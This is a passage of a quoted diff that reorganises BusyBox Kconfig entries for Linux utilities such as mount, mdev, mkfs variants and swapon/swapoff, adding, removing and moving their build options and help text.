> -	default BUSYBOX_DEFAULT_MOUNT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  All files and filesystems in Unix are arranged into one big directory
> -	  tree. The 'mount' utility is used to graft a filesystem onto a
> -	  particular part of the tree. A filesystem can either live on a block
> -	  device, or it can be accessible over the network, as is the case with
> -	  NFS filesystems. Most people using BusyBox will also want to enable
> -	  the 'mount' utility.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
> -	bool "Support option -f"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable support for faking a file system mount.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
> -	bool "Support option -v"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable multi-level -v[vv...] verbose messages. Useful if you
> -	  debug mount problems and want to see what is exactly passed
> -	  to the kernel.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
> -	bool "Support mount helpers"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable mounting of virtual file systems via external helpers.
> -	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
> -	  "obexfs -b00.11.22.33.44.55 /mnt"
> -	  Also "mount -t sometype [-o opts] fs /mnt" will try
> -	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
> -	  The idea is to use such virtual filesystems in /etc/fstab.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
> -	bool "Support specifying devices by label or UUID"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	select BUSYBOX_CONFIG_VOLUMEID
> -	help
> -	  This allows for specifying a device by label or uuid, rather than by
> -	  name. This feature utilizes the same functionality as blkid/findfs.
> -	  This also enables label or uuid support for swapon.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
> -	bool "Support mounting NFS file systems on Linux < 2.6.23"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
> -	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> -	help
> -	  Enable mounting of NFS file systems on Linux kernels prior
> -	  to version 2.6.23. Note that in this case mounting of NFS
> -	  over IPv6 will not be possible.
> -
> -	  Note that this option links in RPC support from libc,
> -	  which is rather large (~10 kbytes on uclibc).
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
> -	bool "Support mounting CIFS/SMB file systems"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	help
> -	  Enable support for samba mounts.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	bool "Support lots of -o flags in mount"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
> -	help
> -	  Without this, mount only supports ro/rw/remount. With this, it
> -	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
> -	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
> -	  private, unbindable, rshared, rslave, rprivate, and runbindable.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> -	depends on BUSYBOX_CONFIG_MOUNT
> -	bool "Support /etc/fstab and -a"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
> -	help
> -	  Support mount all and looking for files in /etc/fstab.
> -
> -config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
> -	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> -	bool "Support -T <alt_fstab>"
> -	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
> -	help
> -	  Support mount -T (specifying an alternate fstab)
> -config BUSYBOX_CONFIG_NSENTER
> -	bool "nsenter"
> -	default BUSYBOX_DEFAULT_NSENTER
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Run program with namespaces of other processes.
> -
> -config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
> -	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Support long options for the nsenter applet. This makes
> -	  the busybox implementation more compatible with upstream.
> -config BUSYBOX_CONFIG_REV
> -	bool "rev"
> -	default BUSYBOX_DEFAULT_REV
> -	help
> -	  Reverse lines of a file or files.
> -config BUSYBOX_CONFIG_SETARCH
> -	bool "setarch"
> -	default BUSYBOX_DEFAULT_SETARCH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  The linux32 utility is used to create a 32bit environment for the
> -	  specified program (usually a shell). It only makes sense to have
> -	  this util on a system that supports both 64bit and 32bit userland
> -	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
> -config BUSYBOX_CONFIG_UEVENT
> -	bool "uevent"
> -	default BUSYBOX_DEFAULT_UEVENT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  uevent is a netlink listener for kernel uevent notifications
> -	  sent via netlink. It is usually used for dynamic device creation.
> -config BUSYBOX_CONFIG_UNSHARE
> -	bool "unshare"
> -	default BUSYBOX_DEFAULT_UNSHARE
> -	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Run program with some namespaces unshared from parent.
> -
>   config BUSYBOX_CONFIG_ACPID
>   	bool "acpid"
>   	default BUSYBOX_DEFAULT_ACPID
> @@ -244,7 +28,11 @@ config BUSYBOX_CONFIG_FEATURE_ACPID_COMPAT
>   	depends on BUSYBOX_CONFIG_ACPID
>   	help
>   	  Accept and ignore compatibility options -g -m -s -S -v.
> -
> +config BUSYBOX_CONFIG_BLKDISCARD
> +	bool "blkdiscard"
> +	default BUSYBOX_DEFAULT_BLKDISCARD
> +	help
> +	  blkdiscard discards sectors on a given device.
>   config BUSYBOX_CONFIG_BLKID
>   	bool "blkid"
>   	default BUSYBOX_DEFAULT_BLKID
> @@ -261,7 +49,11 @@ config BUSYBOX_CONFIG_FEATURE_BLKID_TYPE
>   	depends on BUSYBOX_CONFIG_BLKID
>   	help
>   	  Show TYPE="filesystem type"
> -
> +config BUSYBOX_CONFIG_BLOCKDEV
> +	bool "blockdev"
> +	default BUSYBOX_DEFAULT_BLOCKDEV
> +	help
> +	  Performs some ioctls with block devices.
>   config BUSYBOX_CONFIG_DMESG
>   	bool "dmesg"
>   	default BUSYBOX_DEFAULT_DMESG
> @@ -295,7 +87,12 @@ config BUSYBOX_CONFIG_FEATURE_DMESG_PRETTY
>   	    <5>Linux version 2.6.17.4 .....
>   	    <6>BIOS-provided physical RAM map:
>   	    <6> BIOS-e820: 0000000000000000 - 000000000009f000 (usable)
> -
> +config BUSYBOX_CONFIG_FATATTR
> +	bool "fatattr"
> +	default BUSYBOX_DEFAULT_FATATTR
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  fatattr lists or changes the file attributes on a fat file system.
>   config BUSYBOX_CONFIG_FBSET
>   	bool "fbset"
>   	default BUSYBOX_DEFAULT_FBSET
> @@ -324,27 +121,12 @@ config BUSYBOX_CONFIG_FEATURE_FBSET_READMODE
>   	  This option allows fbset to read the video mode database stored by
>   	  default BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE /etc/fb.modes, which can be used to set frame buffer
>   	  device to pre-defined video modes.
> -
> -config BUSYBOX_CONFIG_FDFLUSH
> -	bool "fdflush"
> -	default BUSYBOX_DEFAULT_FDFLUSH
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  fdflush is only needed when changing media on slightly-broken
> -	  removable media drives. It is used to make Linux believe that a
> -	  hardware disk-change switch has been actuated, which causes Linux to
> -	  forget anything it has cached from the previous media. If you have
> -	  such a slightly-broken drive, you will need to run fdflush every time
> -	  you change a disk. Most people have working hardware and can safely
> -	  leave this disabled.
> -
>   config BUSYBOX_CONFIG_FDFORMAT
>   	bool "fdformat"
>   	default BUSYBOX_DEFAULT_FDFORMAT
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  fdformat is used to low-level format a floppy disk.
> -
>   config BUSYBOX_CONFIG_FDISK
>   	bool "fdisk"
>   	default BUSYBOX_DEFAULT_FDISK
> @@ -421,7 +203,6 @@ config BUSYBOX_CONFIG_FEATURE_FDISK_ADVANCED
>   	  define arbitrary drive geometry, move the beginning of data in a
>   	  partition, and similarly evil things. Unless you have a very good
>   	  reason you would be wise to leave this disabled.
> -
>   config BUSYBOX_CONFIG_FINDFS
>   	bool "findfs"
>   	default BUSYBOX_DEFAULT_FINDFS
> @@ -431,12 +212,23 @@ config BUSYBOX_CONFIG_FINDFS
>   	  Prints the name of a filesystem with given label or UUID.
>   	  WARNING:
>   	  With all submodules selected, it will add ~8k to busybox.
> -
>   config BUSYBOX_CONFIG_FLOCK
>   	bool "flock"
>   	default BUSYBOX_DEFAULT_FLOCK
>   	help
>   	  Manage locks from shell scripts
> +config BUSYBOX_CONFIG_FDFLUSH
> +	bool "fdflush"
> +	default BUSYBOX_DEFAULT_FDFLUSH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  fdflush is only needed when changing media on slightly-broken
> +	  removable media drives. It is used to make Linux believe that a
> +	  hardware disk-change switch has been actuated, which causes Linux to
> +	  forget anything it has cached from the previous media. If you have
> +	  such a slightly-broken drive, you will need to run fdflush every time
> +	  you change a disk. Most people have working hardware and can safely
> +	  leave this disabled.
>   
>   config BUSYBOX_CONFIG_FREERAMDISK
>   	bool "freeramdisk"
> @@ -449,7 +241,6 @@ config BUSYBOX_CONFIG_FREERAMDISK
>   	  pivot_root, you may want to free the memory that is allocated to the
>   	  ramdisk. If you have no use for freeing memory from a ramdisk, leave
>   	  this disabled.
> -
>   config BUSYBOX_CONFIG_FSCK_MINIX
>   	bool "fsck_minix"
>   	default BUSYBOX_DEFAULT_FSCK_MINIX
> @@ -460,47 +251,12 @@ config BUSYBOX_CONFIG_FSCK_MINIX
>   	  power goes off in the middle of a write. This utility allows you to
>   	  check for and attempt to repair any corruption that occurs to a minix
>   	  filesystem.
> -
> -config BUSYBOX_CONFIG_MKFS_EXT2
> -	bool "mkfs_ext2"
> -	default BUSYBOX_DEFAULT_MKFS_EXT2
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to create EXT2 filesystems.
> -
> -config BUSYBOX_CONFIG_MKFS_MINIX
> -	bool "mkfs_minix"
> -	default BUSYBOX_DEFAULT_MKFS_MINIX
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  The minix filesystem is a nice, small, compact, read-write filesystem
> -	  with little overhead. If you wish to be able to create minix
> -	  filesystems this utility will do the job for you.
> -
> -config BUSYBOX_CONFIG_FEATURE_MINIX2
> -	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
> -	default BUSYBOX_DEFAULT_FEATURE_MINIX2
> -	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
> -	help
> -	  If you wish to be able to create version 2 minix filesystems, enable
> -	  this. If you enabled 'mkfs_minix' then you almost certainly want to
> -	  be using the version 2 filesystem support.
> -
> -config BUSYBOX_CONFIG_MKFS_REISER
> -	bool "mkfs_reiser"
> -	default BUSYBOX_DEFAULT_MKFS_REISER
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to create ReiserFS filesystems.
> -	  Note: this applet needs a lot of testing and polishing.
> -
> -config BUSYBOX_CONFIG_MKFS_VFAT
> -	bool "mkfs_vfat"
> -	default BUSYBOX_DEFAULT_MKFS_VFAT
> +config BUSYBOX_CONFIG_FSTRIM
> +	bool "fstrim"
> +	default BUSYBOX_DEFAULT_FSTRIM
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Utility to create FAT32 filesystems.
> -
> +	help
> +	  Discard unused blocks on a mounted filesystem.
>   config BUSYBOX_CONFIG_GETOPT
>   	bool "getopt"
>   	default BUSYBOX_DEFAULT_GETOPT
> @@ -518,7 +274,6 @@ config BUSYBOX_CONFIG_FEATURE_GETOPT_LONG
>   	depends on BUSYBOX_CONFIG_GETOPT
>   	help
>   	  Enable support for long options (option -l).
> -
>   config BUSYBOX_CONFIG_HEXDUMP
>   	bool "hexdump"
>   	default BUSYBOX_DEFAULT_HEXDUMP
> @@ -539,10 +294,8 @@ config BUSYBOX_CONFIG_FEATURE_HEXDUMP_REVERSE
>   config BUSYBOX_CONFIG_HD
>   	bool "hd"
>   	default BUSYBOX_DEFAULT_HD
> -	depends on BUSYBOX_CONFIG_HEXDUMP
>   	help
>   	  hd is an alias to hexdump -C.
> -
>   config BUSYBOX_CONFIG_HWCLOCK
>   	bool "hwclock"
>   	default BUSYBOX_DEFAULT_HWCLOCK
> @@ -573,7 +326,6 @@ config BUSYBOX_CONFIG_FEATURE_HWCLOCK_ADJTIME_FHS
>   	  classic /etc/adjtime path.
>   
>   	  pathname.com/fhs/pub/fhs-2.3.html#VARLIBHWCLOCKSTATEDIRECTORYFORHWCLO
> -
>   config BUSYBOX_CONFIG_IPCRM
>   	bool "ipcrm"
>   	default BUSYBOX_DEFAULT_IPCRM
> @@ -581,7 +333,6 @@ config BUSYBOX_CONFIG_IPCRM
>   	  The ipcrm utility allows the removal of System V interprocess
>   	  communication (IPC) objects and the associated data structures
>   	  from the system.
> -
>   config BUSYBOX_CONFIG_IPCS
>   	bool "ipcs"
>   	default BUSYBOX_DEFAULT_IPCS
> @@ -589,7 +340,6 @@ config BUSYBOX_CONFIG_IPCS
>   	help
>   	  The ipcs utility is used to provide information on the currently
>   	  allocated System V interprocess (IPC) objects in the system.
> -
>   config BUSYBOX_CONFIG_LOSETUP
>   	bool "losetup"
>   	default BUSYBOX_DEFAULT_LOSETUP
> @@ -598,7 +348,6 @@ config BUSYBOX_CONFIG_LOSETUP
>   	  losetup is used to associate or detach a loop device with a regular
>   	  file or block device, and to query the status of a loop device. This
>   	  version does not currently support enabling data encryption.
> -
>   config BUSYBOX_CONFIG_LSPCI
>   	bool "lspci"
>   	default BUSYBOX_DEFAULT_LSPCI
> @@ -608,7 +357,6 @@ config BUSYBOX_CONFIG_LSPCI
>   	  system and devices connected to them.
>   
>   	  This version uses sysfs (/sys/bus/pci/devices) only.
> -
>   config BUSYBOX_CONFIG_LSUSB
>   	bool "lsusb"
>   	default BUSYBOX_DEFAULT_LSUSB
> @@ -618,7 +366,113 @@ config BUSYBOX_CONFIG_LSUSB
>   	  system and devices connected to them.
>   
>   	  This version uses sysfs (/sys/bus/usb/devices) only.
> +config BUSYBOX_CONFIG_MDEV
> +	bool "mdev"
> +	default BUSYBOX_DEFAULT_MDEV
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  mdev is a mini-udev implementation for dynamically creating device
> +	  nodes in the /dev directory.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> +	bool "Support /etc/mdev.conf"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
> +	depends on BUSYBOX_CONFIG_MDEV
> +	help
> +	  Add support for the mdev config file to control ownership and
> +	  permissions of the device nodes.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> +	bool "Support subdirs/symlinks"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
> +	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> +	help
> +	  Add support for renaming devices and creating symlinks.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_RENAME_REGEXP
> +	bool "Support regular expressions substitutions when renaming device"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
> +	depends on BUSYBOX_CONFIG_FEATURE_MDEV_RENAME
> +	help
> +	  Add support for regular expressions substitutions when renaming
> +	  device.
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_EXEC
> +	bool "Support command execution at device addition/removal"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
> +	depends on BUSYBOX_CONFIG_FEATURE_MDEV_CONF
> +	help
> +	  This adds support for an optional field to /etc/mdev.conf for
> +	  executing commands when devices are created/removed.
> +
> +	  For more information, please see docs/mdev.txt
> +
> +config BUSYBOX_CONFIG_FEATURE_MDEV_LOAD_FIRMWARE
> +	bool "Support loading of firmwares"
> +	default BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
> +	depends on BUSYBOX_CONFIG_MDEV
> +	help
> +	  Some devices need to load firmware before they can be usable.
> +
> +	  These devices will request userspace look up the files in
> +	  /lib/firmware/ and if it exists, send it to the kernel for
> +	  loading into the hardware.
> +config BUSYBOX_CONFIG_MKE2FS
> +	bool "mke2fs"
> +	default BUSYBOX_DEFAULT_MKE2FS
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to create EXT2 filesystems.
> +
> +config BUSYBOX_CONFIG_MKFS_EXT2
> +	bool "mkfs.ext2"
> +	default BUSYBOX_DEFAULT_MKFS_EXT2
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "mke2fs".
> +config BUSYBOX_CONFIG_MKFS_MINIX
> +	bool "mkfs_minix"
> +	default BUSYBOX_DEFAULT_MKFS_MINIX
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  The minix filesystem is a nice, small, compact, read-write filesystem
> +	  with little overhead. If you wish to be able to create minix
> +	  filesystems this utility will do the job for you.
> +
> +config BUSYBOX_CONFIG_FEATURE_MINIX2
> +	bool "Support Minix fs v2 (fsck_minix/mkfs_minix)"
> +	default BUSYBOX_DEFAULT_FEATURE_MINIX2
> +	depends on BUSYBOX_CONFIG_FSCK_MINIX || BUSYBOX_CONFIG_MKFS_MINIX
> +	help
> +	  If you wish to be able to create version 2 minix filesystems, enable
> +	  this. If you enabled 'mkfs_minix' then you almost certainly want to
> +	  be using the version 2 filesystem support.
> +config BUSYBOX_CONFIG_MKFS_REISER
> +	bool "mkfs_reiser"
> +	default BUSYBOX_DEFAULT_MKFS_REISER
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to create ReiserFS filesystems.
> +	  Note: this applet needs a lot of testing and polishing.
> +config BUSYBOX_CONFIG_MKDOSFS
> +	bool "mkdosfs"
> +	default BUSYBOX_DEFAULT_MKDOSFS
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Utility to create FAT32 filesystems.
>   
> +config BUSYBOX_CONFIG_MKFS_VFAT
> +	bool "mkfs.vfat"
> +	default BUSYBOX_DEFAULT_MKFS_VFAT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "mkdosfs".
>   config BUSYBOX_CONFIG_MKSWAP
>   	bool "mkswap"
>   	default BUSYBOX_DEFAULT_MKSWAP
> @@ -638,7 +492,6 @@ config BUSYBOX_CONFIG_FEATURE_MKSWAP_UUID
>   	depends on BUSYBOX_CONFIG_MKSWAP
>   	help
>   	  Generate swap spaces with universally unique identifiers.
> -
>   config BUSYBOX_CONFIG_MORE
>   	bool "more"
>   	default BUSYBOX_DEFAULT_MORE
> @@ -648,7 +501,114 @@ config BUSYBOX_CONFIG_MORE
>   	  the screen, and you are using anything faster than a 300 baud modem,
>   	  you will probably find this utility very helpful. If you don't have
>   	  any need to reading text files, you can leave this disabled.
> +config BUSYBOX_CONFIG_MOUNT
> +	bool "mount"
> +	default BUSYBOX_DEFAULT_MOUNT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  All files and filesystems in Unix are arranged into one big directory
> +	  tree. The 'mount' utility is used to graft a filesystem onto a
> +	  particular part of the tree. A filesystem can either live on a block
> +	  device, or it can be accessible over the network, as is the case with
> +	  NFS filesystems. Most people using BusyBox will also want to enable
> +	  the 'mount' utility.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
> +	bool "Support option -f"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable support for faking a file system mount.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
> +	bool "Support option -v"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable multi-level -v[vv...] verbose messages. Useful if you
> +	  debug mount problems and want to see what is exactly passed
> +	  to the kernel.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
> +	bool "Support mount helpers"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable mounting of virtual file systems via external helpers.
> +	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
> +	  "obexfs -b00.11.22.33.44.55 /mnt"
> +	  Also "mount -t sometype [-o opts] fs /mnt" will try
> +	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
> +	  The idea is to use such virtual filesystems in /etc/fstab.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
> +	bool "Support specifying devices by label or UUID"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	select BUSYBOX_CONFIG_VOLUMEID
> +	help
> +	  This allows for specifying a device by label or uuid, rather than by
> +	  name. This feature utilizes the same functionality as blkid/findfs.
> +	  This also enables label or uuid support for swapon.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
> +	bool "Support mounting NFS file systems on Linux < 2.6.23"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  Enable mounting of NFS file systems on Linux kernels prior
> +	  to version 2.6.23. Note that in this case mounting of NFS
> +	  over IPv6 will not be possible.
> +
> +	  Note that this option links in RPC support from libc,
> +	  which is rather large (~10 kbytes on uclibc).
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
> +	bool "Support mounting CIFS/SMB file systems"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable support for samba mounts.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	bool "Support lots of -o flags in mount"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
> +	help
> +	  Without this, mount only supports ro/rw/remount. With this, it
> +	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
> +	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
> +	  private, unbindable, rshared, rslave, rprivate, and runbindable.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	bool "Support /etc/fstab and -a"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
> +	help
> +	  Support mount all and looking for files in /etc/fstab.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
> +	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> +	bool "Support -T <alt_fstab>"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
> +	help
> +	  Support mount -T (specifying an alternate fstab)
> +config BUSYBOX_CONFIG_NSENTER
> +	bool "nsenter"
> +	default BUSYBOX_DEFAULT_NSENTER
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Run program with namespaces of other processes.
>   
> +config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
> +	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Support long options for the nsenter applet. This makes
> +	  the busybox implementation more compatible with upstream.
>   config BUSYBOX_CONFIG_PIVOT_ROOT
>   	bool "pivot_root"
>   	default BUSYBOX_DEFAULT_PIVOT_ROOT
> @@ -661,7 +621,6 @@ config BUSYBOX_CONFIG_PIVOT_ROOT
>   
>   	  Note: This is for initrd in linux 2.4. Under initramfs (introduced
>   	  in linux 2.6) use switch_root instead.
> -
>   config BUSYBOX_CONFIG_RDATE
>   	bool "rdate"
>   	default BUSYBOX_DEFAULT_RDATE
> @@ -670,46 +629,68 @@ config BUSYBOX_CONFIG_RDATE
>   	  system clock with the date and time of a remote networked system using
>   	  the RFC868 protocol, which is built into the inetd daemon on most
>   	  systems.
> -
>   config BUSYBOX_CONFIG_RDEV
>   	bool "rdev"
>   	default BUSYBOX_DEFAULT_RDEV
>   	help
>   	  Print the device node associated with the filesystem mounted at '/'.
> -
>   config BUSYBOX_CONFIG_READPROFILE
>   	bool "readprofile"
>   	default BUSYBOX_DEFAULT_READPROFILE
>   	#select PLATFORM_LINUX
>   	help
>   	  This allows you to parse /proc/profile for basic profiling.
> -
> +config BUSYBOX_CONFIG_REV
> +	bool "rev"
> +	default BUSYBOX_DEFAULT_REV
> +	help
> +	  Reverse lines of a file or files.
>   config BUSYBOX_CONFIG_RTCWAKE
>   	bool "rtcwake"
>   	default BUSYBOX_DEFAULT_RTCWAKE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Enter a system sleep state until specified wakeup time.
> -
>   config BUSYBOX_CONFIG_SCRIPT
>   	bool "script"
>   	default BUSYBOX_DEFAULT_SCRIPT
>   	help
>   	  The script makes typescript of terminal session.
> -
>   config BUSYBOX_CONFIG_SCRIPTREPLAY
>   	bool "scriptreplay"
>   	default BUSYBOX_DEFAULT_SCRIPTREPLAY
>   	help
>   	  This program replays a typescript, using timing information
>   	  given by script -t.
> +config BUSYBOX_CONFIG_SETARCH
> +	bool "setarch"
> +	default BUSYBOX_DEFAULT_SETARCH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  The linux32 utility is used to create a 32bit environment for the
> +	  specified program (usually a shell). It only makes sense to have
> +	  this util on a system that supports both 64bit and 32bit userland
> +	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
> +
> +config BUSYBOX_CONFIG_LINUX32
> +	bool "linux32"
> +	default BUSYBOX_DEFAULT_LINUX32
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "setarch linux32".
>   
> -config BUSYBOX_CONFIG_SWAPONOFF
> -	bool "swaponoff"
> -	default BUSYBOX_DEFAULT_SWAPONOFF
> +config BUSYBOX_CONFIG_LINUX64
> +	bool "linux64"
> +	default BUSYBOX_DEFAULT_LINUX64
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "setarch linux64".
> +config BUSYBOX_CONFIG_SWAPON
> +	bool "swapon"
> +	default BUSYBOX_DEFAULT_SWAPON
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
> -	  This option enables both the 'swapon' and the 'swapoff' utilities.
> +	  This option enables the 'swapon' utility.
>   	  Once you have created some swap space using 'mkswap', you also need
>   	  to enable your swap space with the 'swapon' utility. The 'swapoff'
>   	  utility is used, typically at system shutdown, to disable any swap
> @@ -719,7 +700,7 @@ config BUSYBOX_CONFIG_SWAPONOFF
>   config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
>   	bool "Support discard option -d"
>   	default BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
> -	depends on BUSYBOX_CONFIG_SWAPONOFF
> +	depends on BUSYBOX_CONFIG_SWAPON
>   	help
>   	  Enable support for discarding swap area blocks at swapon and/or as
>   	  the kernel frees them. This option enables both the -d option on
> @@ -728,10 +709,16 @@ config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
>   config BUSYBOX_CONFIG_FEATURE_SWAPON_PRI
>   	bool "Support priority option -p"
>   	default BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
> -	depends on BUSYBOX_CONFIG_SWAPONOFF
> +	depends on BUSYBOX_CONFIG_SWAPON
>   	help
>   	  Enable support for setting swap device priority in swapon.
>   
> +config BUSYBOX_CONFIG_SWAPOFF
> +	bool "swapoff"
> +	default BUSYBOX_DEFAULT_SWAPOFF
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  This option enables the 'swapoff' utility.
>   config BUSYBOX_CONFIG_SWITCH_ROOT
>   	bool "switch_root"
>   	default BUSYBOX_DEFAULT_SWITCH_ROOT
> @@ -751,7 +738,13 @@ config BUSYBOX_CONFIG_SWITCH_ROOT
>   	  * Because the Linux kernel uses rootfs internally as the starting
>   	  and ending point for searching through the kernel's doubly linked
>   	  list of active mount points. That's why.
> -
> +config BUSYBOX_CONFIG_UEVENT
> +	bool "uevent"
